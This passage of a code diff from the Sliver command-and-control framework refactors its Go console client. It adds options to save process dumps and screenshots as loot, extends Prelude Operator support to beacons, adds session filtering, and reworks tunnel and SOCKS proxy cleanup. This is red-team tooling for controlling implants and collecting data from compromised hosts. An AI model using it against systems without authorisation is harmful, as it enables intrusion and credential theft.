-		Path:    remotePath,
-	})
-	if err != nil {
-		ctrl <- true
-		<-ctrl
-		if err != nil {
-			con.PrintErrorf("%s\n", err) // Download failed
-			return
-		}
-	}
-
-	if download.Encoder == "gzip" {
-		download.Data, err = new(encoders.Gzip).Decode(download.Data)
-		if err != nil {
-			con.PrintErrorf("Decoding failed %s", err)
-			return
-		}
-	}
-
-	// Determine type based on download buffer
-	lootFileType, err := lootFileTypeFromHumanStr(ctx.Flags.String("file-type"))
-	if lootFileType == -1 || err != nil {
-		if isText(download.Data) {
-			lootFileType = clientpb.FileType_TEXT
-		} else {
-			lootFileType = clientpb.FileType_BINARY
-		}
-	}
-	loot := &clientpb.Loot{
-		Name:     name,
-		Type:     lootType,
-		FileType: lootFileType,
-		File: &commonpb.File{
-			Name: path.Base(remotePath),
-			Data: download.Data,
-		},
-	}
-	if lootType == clientpb.LootType_LOOT_CREDENTIAL {
-		loot.CredentialType = clientpb.CredentialType_FILE
-	}
-
-	loot, err = con.Rpc.LootAdd(context.Background(), loot)
-	ctrl <- true
-	<-ctrl
+	lootType, err := ValidateLootType(ctx.Flags.String("type"))
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
 
-	con.PrintInfof("Successfully added loot to server (%s)\n", loot.LootID)
+	download, err := PerformDownload(remotePath, fileName, ctx, con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	// Determine type based on download buffer
+	lootFileType := ValidateLootFileType(ctx.Flags.String("file-type"), download.Data)
+	LootDownload(download, name, lootType, lootFileType, ctx, con)
 }

client/command/prelude-operator/connect.go

@@ -23,6 +23,7 @@ import (
 
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/client/prelude"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/desertbit/grumble"
 )
@@ -40,7 +41,7 @@ func ConnectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		AESKey:      aesKey,
 	}
 
-	sessionMapper := prelude.InitSessionMapper(config)
+	implantMapper := prelude.InitImplantMapper(config)
 
 	con.PrintInfof("Connected to Operator at %s\n", url)
 	if !skipExisting {
@@ -52,9 +53,28 @@ func ConnectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		if len(sessions.Sessions) > 0 {
 			con.PrintInfof("Adding existing sessions ...\n")
 			for _, session := range sessions.Sessions {
-				err = sessionMapper.AddSession(session)
+				if !session.IsDead {
+					err = implantMapper.AddImplant(session, nil)
+					if err != nil {
+						con.PrintErrorf("Could not add session %s to implant mapper: %s", session.Name, err)
+					}
+				}
+			}
+			con.PrintInfof("Done !\n")
+		}
+		beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
+		if err != nil {
+			con.PrintErrorf("Could not get beacon list: %s", err)
+			return
+		}
+		if len(beacons.Beacons) > 0 {
+			con.PrintInfof("Adding existing beacons ...\n")
+			for _, beacon := range beacons.Beacons {
+				err = implantMapper.AddImplant(beacon, func(taskID string, cb func(task *clientpb.BeaconTask)) {
+					con.AddBeaconCallback(taskID, cb)
+				})
 				if err != nil {
-					con.PrintErrorf("Could not add session %s to session mapper: %s", session.Name, err)
+					con.PrintErrorf("Could not add beacon %s to implant mapper: %s", beacon.Name, err)
 				}
 			}
 			con.PrintInfof("Done !\n")

client/command/prelude-operator/operator.go

@@ -25,8 +25,8 @@ import (
 )
 
 func OperatorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	if prelude.SessionMapper != nil {
-		con.PrintInfof("Connected to Operator at %s\n", prelude.SessionMapper.GetConfig().OperatorURL)
+	if prelude.ImplantMapper != nil {
+		con.PrintInfof("Connected to Operator at %s\n", prelude.ImplantMapper.GetConfig().OperatorURL)
 		return
 	}
 	con.PrintInfof("Not connected to any Operator server. Use `operator connect` to connect to one.")

client/command/processes/procdump.go

@@ -24,7 +24,9 @@ import (
 	"io/ioutil"
 	"os"
 	"path/filepath"
+	"time"
 
+	"github.com/bishopfox/sliver/client/command/loot"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -42,6 +44,8 @@ func ProcdumpCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	pid := ctx.Flags.Int("pid")
 	name := ctx.Flags.String("name")
 	saveTo := ctx.Flags.String("save")
+	saveLoot := ctx.Flags.Bool("loot")
+	lootName := ctx.Flags.String("loot-name")
 
 	if pid == -1 && name != "" {
 		pid = GetPIDByName(ctx, name, con)
@@ -78,11 +82,23 @@ func ProcdumpCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 				con.PrintErrorf("Failed to decode response %s\n", err)
 				return
 			}
-			PrintProcessDump(dump, saveTo, hostname, pid, con)
+			if saveLoot {
+				LootProcessDump(dump, lootName, hostname, pid, con)
+			}
+
+			if !saveLoot || saveTo != "" {
+				PrintProcessDump(dump, saveTo, hostname, pid, con)
+			}
 		})
 		con.PrintAsyncResponse(dump.Response)
 	} else {
-		PrintProcessDump(dump, saveTo, hostname, pid, con)
+		if saveLoot {
+			LootProcessDump(dump, lootName, hostname, pid, con)
+		}
+
+		if !saveLoot || saveTo != "" {
+			PrintProcessDump(dump, saveTo, hostname, pid, con)
+		}
 	}
 
 }
@@ -99,7 +115,7 @@ func PrintProcessDump(dump *sliverpb.ProcessDump, saveTo string, hostname string
 			return
 		}
 	} else {
-		saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY, 0o600)
+		saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY|os.O_CREATE, 0o600)
 		if err != nil {
 			con.PrintErrorf("Error creating file: %s\n", err)
 			return
@@ -119,3 +135,15 @@ func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
 	}
 	return ""
 }
+
+func LootProcessDump(dump *sliverpb.ProcessDump, lootName string, hostName string, pid int, con *console.SliverConsoleClient) {
+	timeNow := time.Now().UTC()
+	dumpFileName := fmt.Sprintf("procdump_%s_%d_%s.dmp", hostName, pid, timeNow.Format("20060102150405"))
+
+	if lootName == "" {
+		lootName = dumpFileName
+	}
+
+	lootMessage := loot.CreateLootMessage(dumpFileName, lootName, clientpb.LootType_LOOT_FILE, clientpb.FileType_BINARY, dump.GetData())
+	loot.SendLootMessage(lootMessage, con)
+}

client/command/screenshot/screenshot.go

@@ -57,6 +57,10 @@ func ScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		return
 	}
 
+	saveLoot := ctx.Flags.Bool("loot")
+	lootName := ctx.Flags.String("name")
+	saveTo := ctx.Flags.String("save")
+
 	hostname := getHostname(session, beacon)
 	if screenshot.Response != nil && screenshot.Response.Async {
 		con.AddBeaconCallback(screenshot.Response.TaskID, func(task *clientpb.BeaconTask) {
@@ -65,11 +69,31 @@ func ScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 				con.PrintErrorf("Failed to decode response %s\n", err)
 				return
 			}
-			PrintScreenshot(screenshot, hostname, ctx, con)
+			if saveLoot {
+				if len(screenshot.Data) > 0 {
+					LootScreenshot(screenshot, lootName, hostname, con)
+				} else {
+					con.PrintErrorf("Cannot loot screenshot because it contained no data")
+				}
+			}
+
+			if !saveLoot || saveTo != "" {
+				PrintScreenshot(screenshot, hostname, ctx, con)
+			}
 		})
 		con.PrintAsyncResponse(screenshot.Response)
 	} else {
-		PrintScreenshot(screenshot, hostname, ctx, con)
+		if saveLoot {
+			if len(screenshot.Data) > 0 {
+				LootScreenshot(screenshot, lootName, hostname, con)
+			} else {
+				con.PrintErrorf("Cannot loot screenshot because it contained no data")
+			}
+		}
+
+		if !saveLoot || saveTo != "" {
+			PrintScreenshot(screenshot, hostname, ctx, con)
+		}
 	}
 }
 
@@ -88,7 +112,7 @@ func PrintScreenshot(screenshot *sliverpb.Screenshot, hostname string, ctx *grum
 			return
 		}
 	} else {
-		saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY, 600)
+		saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY|os.O_CREATE, 0600)
 		if err != nil {
 			con.PrintErrorf("Error creating file: %s\n", err)
 			return
@@ -103,14 +127,18 @@ func PrintScreenshot(screenshot *sliverpb.Screenshot, hostname string, ctx *grum
 	}
 
 	con.PrintInfof("Screenshot written to %s (%s)\n", saveToFile.Name(), util.ByteCountBinary(int64(n)))
-	if ctx.Flags.Bool("loot") && 0 < len(screenshot.Data) {
-		err = loot.AddLootFile(con.Rpc, fmt.Sprintf("[screenshot] %s", timestamp), saveToFile.Name(), screenshot.Data, false)
-		if err != nil {
-			con.PrintErrorf("Failed to save output as loot: %s\n", err)
-		} else {
-			con.PrintInfof("Output saved as loot\n")
-		}
+}
+
+func LootScreenshot(screenshot *sliverpb.Screenshot, lootName string, hostName string, con *console.SliverConsoleClient) {
+	timeNow := time.Now().UTC()
+	screenshotFileName := fmt.Sprintf("screenshot_%s_%s.png", hostName, timeNow.Format("20060102150405"))
+
+	if lootName == "" {
+		lootName = screenshotFileName
 	}
+
+	lootMessage := loot.CreateLootMessage(screenshotFileName, lootName, clientpb.LootType_LOOT_FILE, clientpb.FileType_BINARY, screenshot.GetData())
+	loot.SendLootMessage(lootMessage, con)
 }
 
 func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string {

client/command/sessions/prune.go

@@ -41,7 +41,7 @@ func SessionsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	for _, session := range sessions.GetSessions() {
 		if session.IsDead {
 			con.Printf("Pruning session %s ... ", session.ID)
-			err = kill.KillSession(session, true, con)
+			err = kill.KillSession(session, ctx, con)
 			if err != nil {
 				con.Printf("failed!\n")
 				con.PrintErrorf("%s\n", err)

client/command/sessions/sessions.go

@@ -21,6 +21,7 @@ package sessions
 import (
 	"context"
 	"fmt"
+	"regexp"
 	"strings"
 	"time"
 
@@ -51,7 +52,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if killAll {
 		con.ActiveTarget.Background()
 		for _, session := range sessions.Sessions {
-			err := kill.KillSession(session, true, con)
+			err := kill.KillSession(session, ctx, con)
 			if err != nil {
 				con.PrintErrorf("%s\n", err)
 			}
@@ -65,7 +66,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.ActiveTarget.Background()
 		for _, session := range sessions.Sessions {
 			if session.IsDead {
-				err := kill.KillSession(session, true, con)
+				err := kill.KillSession(session, ctx, con)
 				if err != nil {
 					con.PrintErrorf("%s\n", err)
 				}
@@ -81,7 +82,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		if activeSession != nil && session.ID == activeSession.ID {
 			con.ActiveTarget.Background()
 		}
-		err := kill.KillSession(session, true, con)
+		err := kill.KillSession(session, ctx, con)
 		if err != nil {
 			con.PrintErrorf("%s\n", err)
 		}
@@ -97,12 +98,23 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			con.PrintErrorf("Invalid session name or session number: %s\n", interact)
 		}
 	} else {
+		filter := ctx.Flags.String("filter")
+		var filterRegex *regexp.Regexp
+		if ctx.Flags.String("filter-re") != "" {
+			var err error
+			filterRegex, err = regexp.Compile(ctx.Flags.String("filter-re"))
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+				return
+			}
+		}
+
 		sessionsMap := map[string]*clientpb.Session{}
 		for _, session := range sessions.GetSessions() {
 			sessionsMap[session.ID] = session
 		}
 		if 0 < len(sessionsMap) {
-			PrintSessions(sessionsMap, con)
+			PrintSessions(sessionsMap, filter, filterRegex, con)
 		} else {
 			con.PrintInfof("No sessions 🙁\n")
 		}
@@ -110,7 +122,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 }
 
 // PrintSessions - Print the current sessions
-func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverConsoleClient) {
+func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) {
 	width, _, err := term.GetSize(0)
 	if err != nil {
 		width = 999
@@ -128,7 +140,7 @@ func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverCon
 			"Hostname",
 			"Username",
 			"Operating System",
-			"Last Check-in",
+			"Last Message",
 			"Health",
 		})
 	} else {
@@ -164,8 +176,9 @@ func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverCon
 		}
 		username := strings.TrimPrefix(session.Username, session.Hostname+"\\") // For non-AD Windows users
 
+		var rowEntries []string
 		if con.Settings.SmallTermWidth < width {
-			tw.AppendRow(table.Row{
+			rowEntries = []string{
 				fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
 				fmt.Sprintf(color+"%s"+console.Normal, session.Name),
 				fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
@@ -175,9 +188,9 @@ func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverCon
 				fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
 				fmt.Sprintf(color+"%s"+console.Normal, time.Unix(session.LastCheckin, 0).Format(time.RFC1123)),
 				burned + SessionHealth,
-			})
+			}
 		} else {
-			tw.AppendRow(table.Row{
+			rowEntries = []string{
 				fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
 				fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
 				fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
@@ -185,7 +198,31 @@ func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverCon
 				fmt.Sprintf(color+"%s"+console.Normal, username),
 				fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
 				burned + SessionHealth,
-			})
+			}
+		}
+		// Build the row struct
+		row := table.Row{}
+		for _, entry := range rowEntries {
+			row = append(row, entry)
+		}
+		// Apply filters if any
+		if filter == "" && filterRegex == nil {
+			tw.AppendRow(row)
+		} else {
+			for _, rowEntry := range rowEntries {
+				if filter != "" {
+					if strings.Contains(rowEntry, filter) {
+						tw.AppendRow(row)
+						break
+					}
+				}
+				if filterRegex != nil {
+					if filterRegex.MatchString(rowEntry) {
+						tw.AppendRow(row)
+						break
+					}
+				}
+			}
 		}
 	}
 

client/command/shell/shell.go

@@ -68,9 +68,12 @@ func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *con
 	}
 
 	// Create an RPC tunnel, then start it before binding the shell to the newly created tunnel
-	rpcTunnel, err := con.Rpc.CreateTunnel(context.Background(), &sliverpb.Tunnel{
+	ctxTunnel, cancelTunnel := context.WithCancel(context.Background())
+
+	rpcTunnel, err := con.Rpc.CreateTunnel(ctxTunnel, &sliverpb.Tunnel{
 		SessionID: session.ID,
 	})
+	defer cancelTunnel()
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
@@ -78,7 +81,8 @@ func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *con
 	log.Printf("Created new tunnel with id: %d, binding to shell ...", rpcTunnel.TunnelID)
 
 	// Start() takes an RPC tunnel and creates a local Reader/Writer tunnel object
-	tunnel := core.Tunnels.Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
+	tunnel := core.GetTunnels().Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
+	defer tunnel.Close()
 
 	shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
 		Request:   con.ActiveTarget.Request(ctx),

client/command/socks/socks-stop.go

@@ -29,7 +29,7 @@ import (
 
 // SocksStopCmd - Remove an existing tunneled port forward
 func SocksStopCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	socksID := ctx.Flags.Int("id")
+	socksID := ctx.Flags.Uint64("id")
 	if socksID < 1 {
 		con.PrintErrorf("Must specify a valid socks5 id\n")
 		return

client/command/tasks/fetch.go

@@ -233,7 +233,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
 				"loot": &grumble.FlagMapItem{Value: false, IsDefault: true},
 			},
 		}
-		exec.PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
+		exec.HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostname, ctx, con)
 
 	// execute-shellcode
 	case sliverpb.MsgTaskReq:
@@ -289,9 +289,10 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
 			Command: &grumble.Command{Name: "sideload"},
 			Flags: grumble.FlagMap{
 				"save": &grumble.FlagMapItem{Value: false},
+				"loot": &grumble.FlagMapItem{Value: false},
 			},
 		}
-		exec.PrintSideload(sideload, hostname, ctx, con)
+		exec.HandleSideloadResponse(sideload, "", hostname, ctx, con)
 
 	case sliverpb.MsgSpawnDllReq:
 		spawnDll := &sliverpb.SpawnDll{}
@@ -309,9 +310,10 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
 			Command: &grumble.Command{Name: "spawndll"},
 			Flags: grumble.FlagMap{
 				"save": &grumble.FlagMapItem{Value: false},
+				"loot": &grumble.FlagMapItem{Value: false},
 			},
 		}
-		exec.PrintSpawnDll(spawnDll, hostname, ctx, con)
+		exec.HandleSpawnDLLResponse(spawnDll, "", hostname, ctx, con)
 
 	case sliverpb.MsgSSHCommandReq:
 		sshCommand := &sliverpb.SSHCommand{}
@@ -358,6 +360,14 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
 		}
 		filesystem.PrintLs(ls, flags, "", con)
 
+	case sliverpb.MsgMvReq:
+		mv := &sliverpb.Mv{}
+		err := proto.Unmarshal(task.Response, mv)
+		if err != nil {
+			con.PrintErrorf("Failed to decode task response: %s\n", err)
+			return
+		}
+
 	case sliverpb.MsgMkdirReq:
 		mkdir := &sliverpb.Mkdir{}
 		err := proto.Unmarshal(task.Response, mkdir)
@@ -446,6 +456,14 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
 		}
 		privilege.PrintGetSystem(getSystem, con)
 
+	case sliverpb.MsgCurrentTokenOwnerReq:
+		cto := &sliverpb.CurrentTokenOwner{}
+		err := proto.Unmarshal(task.Response, cto)
+		if err != nil {
+			con.PrintErrorf("Failed to decode task response: %s\n", err)
+			return
+		}
+
 	case sliverpb.MsgImpersonateReq:
 		impersonateReq := &sliverpb.ImpersonateReq{}
 		err := proto.Unmarshal(task.Response, impersonateReq)

client/console/console.go

@@ -26,7 +26,6 @@ import (
 	"io/ioutil"
 	"log"
 	insecureRand "math/rand"
-	"path"
 	"path/filepath"
 	"strconv"
 	"strings"
@@ -109,7 +108,7 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
 		App: grumble.New(&grumble.Config{
 			Name:                  "Sliver",
 			Description:           "Sliver Client",
-			HistoryFile:           path.Join(assets.GetRootAppDir(), "history"),
+			HistoryFile:           filepath.Join(assets.GetRootAppDir(), "history"),
 			PromptColor:           color.New(),
 			HelpHeadlineColor:     color.New(),
 			HelpHeadlineUnderline: true,
@@ -195,8 +194,8 @@ func (con *SliverConsoleClient) EventLoop() {
 				shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
 
 			// Prelude Operator
-			if prelude.SessionMapper != nil {
-				err = prelude.SessionMapper.AddSession(session)
+			if prelude.ImplantMapper != nil {
+				err = prelude.ImplantMapper.AddImplant(session, nil)
 				if err != nil {
 					con.PrintEventErrorf("Could not add session to Operator: %s", err)
 				}
@@ -215,13 +214,14 @@ func (con *SliverConsoleClient) EventLoop() {
 			con.PrintEventErrorf("Lost session %s %s - %s (%s) - %s/%s - %v",
 				shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
 			activeSession := con.ActiveTarget.GetSession()
+			core.GetTunnels().CloseForSession(session.ID)
 			if activeSession != nil && activeSession.ID == session.ID {
 				con.ActiveTarget.Set(nil, nil)
 				con.PrintEventErrorf("Active session disconnected")
 				con.App.SetPrompt(con.GetPrompt())
 			}
-			if prelude.SessionMapper != nil {
-				err = prelude.SessionMapper.RemoveSession(session)
+			if prelude.ImplantMapper != nil {
+				err = prelude.ImplantMapper.RemoveImplant(session)
 				if err != nil {
 					con.PrintEventErrorf("Could not remove session from Operator: %s", err)
 				}
@@ -236,6 +236,16 @@ func (con *SliverConsoleClient) EventLoop() {
 			con.PrintEventInfof("Beacon %s %s - %s (%s) - %s/%s - %v",
 				shortID, beacon.Name, beacon.RemoteAddress, beacon.Hostname, beacon.OS, beacon.Arch, currentTime)
 
+			// Prelude Operator
+			if prelude.ImplantMapper != nil {
+				err = prelude.ImplantMapper.AddImplant(beacon, func(taskID string, cb func(*clientpb.BeaconTask)) {
+					con.AddBeaconCallback(taskID, cb)
+				})
+				if err != nil {
+					con.PrintEventErrorf("Could not add beacon to Operator: %s", err)
+				}
+			}
+
 		case consts.BeaconTaskResultEvent:
 			con.triggerBeaconTaskCallback(event.Data)
 		}

client/constants/constants.go

@@ -167,6 +167,7 @@ const (
 	ExecuteStr = "execute"
 
 	LsStr       = "ls"
+	MvStr       = "mv"
 	RmStr       = "rm"
 	MkdirStr    = "mkdir"
 	CdStr       = "cd"

client/core/portfwd.go

@@ -1,5 +1,23 @@
 package core
 
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 import (
 	"context"
 	"io"
@@ -116,7 +134,7 @@ func (p *ChannelProxy) HandleConn(conn net.Conn) {
 	}
 	tunnel, err := p.dialImplant(ctx)
 	if cancel != nil {
-		cancel()
+		defer cancel()
 	}
 	if err != nil {
 		return
@@ -124,8 +142,8 @@ func (p *ChannelProxy) HandleConn(conn net.Conn) {
 
 	// Cleanup
 	defer func() {
-		go conn.Close()
-		Tunnels.Close(tunnel.ID)
+		conn.Close()
+		GetTunnels().Close(tunnel.ID)
 	}()
 
 	errs := make(chan error, 1)
@@ -172,7 +190,7 @@ func (p *ChannelProxy) Host() string {
 	return host
 }
 
-func (p *ChannelProxy) dialImplant(ctx context.Context) (*Tunnel, error) {
+func (p *ChannelProxy) dialImplant(ctx context.Context) (*TunnelIO, error) {
 
 	log.Printf("[tcpproxy] Dialing implant to create tunnel ...")
 
@@ -185,7 +203,7 @@ func (p *ChannelProxy) dialImplant(ctx context.Context) (*Tunnel, error) {
 		return nil, err
 	}
 	log.Printf("[tcpproxy] Created new tunnel with id %d (session %s)", rpcTunnel.TunnelID, p.Session.ID)
-	tunnel := Tunnels.Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
+	tunnel := GetTunnels().Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
 
 	log.Printf("[tcpproxy] Binding tunnel to portfwd %d", p.Port())
 	portfwdResp, err := p.Rpc.Portfwd(ctx, &sliverpb.PortfwdReq{
@@ -219,7 +237,7 @@ func (p *ChannelProxy) dialTimeout() time.Duration {
 	return 30 * time.Second
 }
 
-func toImplantLoop(conn net.Conn, tunnel *Tunnel, errs chan<- error) {
+func toImplantLoop(conn net.Conn, tunnel *TunnelIO, errs chan<- error) {
 	if wc, ok := conn.(*tcpproxy.Conn); ok && len(wc.Peeked) > 0 {
 		if _, err := tunnel.Write(wc.Peeked); err != nil {
 			errs <- err
@@ -232,7 +250,7 @@ func toImplantLoop(conn net.Conn, tunnel *Tunnel, errs chan<- error) {
 	errs <- err
 }
 
-func fromImplantLoop(conn net.Conn, tunnel *Tunnel, errs chan<- error) {
+func fromImplantLoop(conn net.Conn, tunnel *TunnelIO, errs chan<- error) {
 	n, err := io.Copy(conn, tunnel)
 	log.Printf("[tcpproxy] Closing from-implant after %d byte(s)", n)
 	errs <- err

client/core/socks.go

@@ -20,11 +20,10 @@ package core
 
 import (
 	"context"
-	"fmt"
-	"io"
 	"log"
 	"net"
 	"sync"
+	"sync/atomic"
 	"time"
 
 	"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -37,16 +36,16 @@ import (
 var (
 	// SocksProxies - Struct instance that holds all the portfwds
 	SocksProxies = socksProxy{
-		tcpProxies: map[int]*SocksProxy{},
+		tcpProxies: map[uint64]*SocksProxy{},
 		mutex:      &sync.RWMutex{},
 	}
 	SocksConnPool = sync.Map{}
-	SocksProxyID  = 0
+	SocksProxyID  = (uint64)(0)
 )
 
 // PortfwdMeta - Metadata about a portfwd listener
 type SocksProxyMeta struct {
-	ID        int
+	ID        uint64
 	SessionID string
 	BindAddr  string
 	Username  string
@@ -60,14 +59,28 @@ type TcpProxy struct {
 	Password        string
 	BindAddr        string
 	Listener        net.Listener
-	stopChan        bool
 	KeepAlivePeriod time.Duration
 	DialTimeout     time.Duration
 }
 
+func (tcp *TcpProxy) Stop() error {
+	err := tcp.Listener.Close()
+
+	// Closing all connections in pool
+	SocksConnPool.Range(func(key, value interface{}) bool {
+		con := value.(net.Conn)
+
+		con.Close()
+
+		return err == nil
+	})
+
+	return err
+}
+
 // SocksProxy - Tracks portfwd<->tcpproxy
 type SocksProxy struct {
-	ID           int
+	ID           uint64
 	ChannelProxy *TcpProxy
 }
 
@@ -83,7 +96,7 @@ func (p *SocksProxy) GetMetadata() *SocksProxyMeta {
 }
 
 type socksProxy struct {
-	tcpProxies map[int]*SocksProxy
+	tcpProxies map[uint64]*SocksProxy
 	mutex      *sync.RWMutex
 }
 
@@ -91,6 +104,7 @@ type socksProxy struct {
 func (f *socksProxy) Add(tcpProxy *TcpProxy) *SocksProxy {
 	f.mutex.Lock()
 	defer f.mutex.Unlock()
+
 	Sockser := &SocksProxy{
 		ID:           nextSocksProxyID(),
 		ChannelProxy: tcpProxy,
@@ -101,49 +115,56 @@ func (f *socksProxy) Add(tcpProxy *TcpProxy) *SocksProxy {
 }
 
 func (f *socksProxy) Start(tcpProxy *TcpProxy) error {
-	proxy, err := tcpProxy.Rpc.SocksProxy(context.Background())
+	ctx, cancel := context.WithCancel(context.Background())
+	proxy, err := tcpProxy.Rpc.SocksProxy(ctx)
+	defer cancel()
+
 	if err != nil {
 		return err
 	}
 	go func() {
-		for !tcpProxy.stopChan {
+		for {
 			FromImplantSequence := 0
-			p, err := proxy.Recv()
+			socksData, err := proxy.Recv()
 			if err != nil {
+				log.Printf("Failed to Recv from proxy, %s\n", err)
 				return
 			}
 
-			if v, ok := SocksConnPool.Load(p.TunnelID); ok {
-				n := v.(net.Conn)
-				if p.CloseConn {
-					n.Close()
-					SocksConnPool.Delete(p.TunnelID)
+			if v, ok := SocksConnPool.Load(socksData.TunnelID); ok {
+				conn := v.(net.Conn)
+
+				if socksData.CloseConn {
+					conn.Close()
+					SocksConnPool.Delete(socksData.TunnelID)
 					continue
 				}
-				log.Printf("[socks] agent to Server To (Client to User) Data Sequence %d , Data Size %d \n", FromImplantSequence, len(p.Data))
+				log.Printf("[socks] agent to Server To (Client to User) Data Sequence %d , Data Size %d \n", FromImplantSequence, len(socksData.Data))
 				//fmt.Printf("recv data len %d \n", len(p.Data))
-				_, err := n.Write(p.Data)
+				_, err := conn.Write(socksData.Data)
 				if err != nil {
+					log.Printf("Failed to write data to proxy connection, %s\n", err)
 					continue
 				}
 				FromImplantSequence++
 			}
 		}
 	}()
-	for !tcpProxy.stopChan {
-		l, err := tcpProxy.Listener.Accept()
+	for {
+		connection, err := tcpProxy.Listener.Accept()
 		if err != nil {
-			return err
+			log.Printf("Failed to accept new listener, probably already closed: %s\n", err)
+			break
 		}
 		rpcSocks, err := tcpProxy.Rpc.CreateSocks(context.Background(), &sliverpb.Socks{
 			SessionID: tcpProxy.Session.ID,
 		})
 		if err != nil {
-			fmt.Println(err)
-			return err
+			log.Printf("Failed rcp call to create socks %s\n", err)
+			break
 		}
 
-		go connect(l, proxy, &sliverpb.SocksData{
+		go connect(connection, proxy, &sliverpb.SocksData{
 			Username: tcpProxy.Username,
 			Password: tcpProxy.Password,
 			TunnelID: rpcSocks.TunnelID,
@@ -151,17 +172,18 @@ func (f *socksProxy) Start(tcpProxy *TcpProxy) error {
 		})
 	}
 	log.Printf("Socks Stop -> %s\n", tcpProxy.BindAddr)
-	tcpProxy.Listener.Close()
+	tcpProxy.Stop() // well, at this moment we already in stop state, but anyway
 	proxy.CloseSend()
 	return nil
 }
 
 // Remove - Remove a TCP proxy instance
-func (f *socksProxy) Remove(socksId int) bool {
+func (f *socksProxy) Remove(socksId uint64) bool {
 	f.mutex.Lock()
 	defer f.mutex.Unlock()
+
 	if _, ok := f.tcpProxies[socksId]; ok {
-		f.tcpProxies[socksId].ChannelProxy.stopChan = true
+		f.tcpProxies[socksId].ChannelProxy.Stop()
 		delete(f.tcpProxies, socksId)
 		return true
 	}
@@ -179,9 +201,8 @@ func (f *socksProxy) List() []*SocksProxyMeta {
 	return socksProxy
 }
 
-func nextSocksProxyID() int {
-	SocksProxyID++
-	return SocksProxyID
+func nextSocksProxyID() uint64 {
+	return atomic.AddUint64(&SocksProxyID, 1)
 }
 
 const leakyBufSize = 4108 // data.len(2) + hmacsha1(10) + data(4096)
@@ -192,6 +213,19 @@ func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliv
 
 	SocksConnPool.Store(frame.TunnelID, conn)
 
+	defer func() {
+		// It's neccessary to close and remove connection once we done with it
+		c, ok := SocksConnPool.LoadAndDelete(frame.TunnelID)
+		if !ok {
+			return
+		}
+		conn := c.(net.Conn)
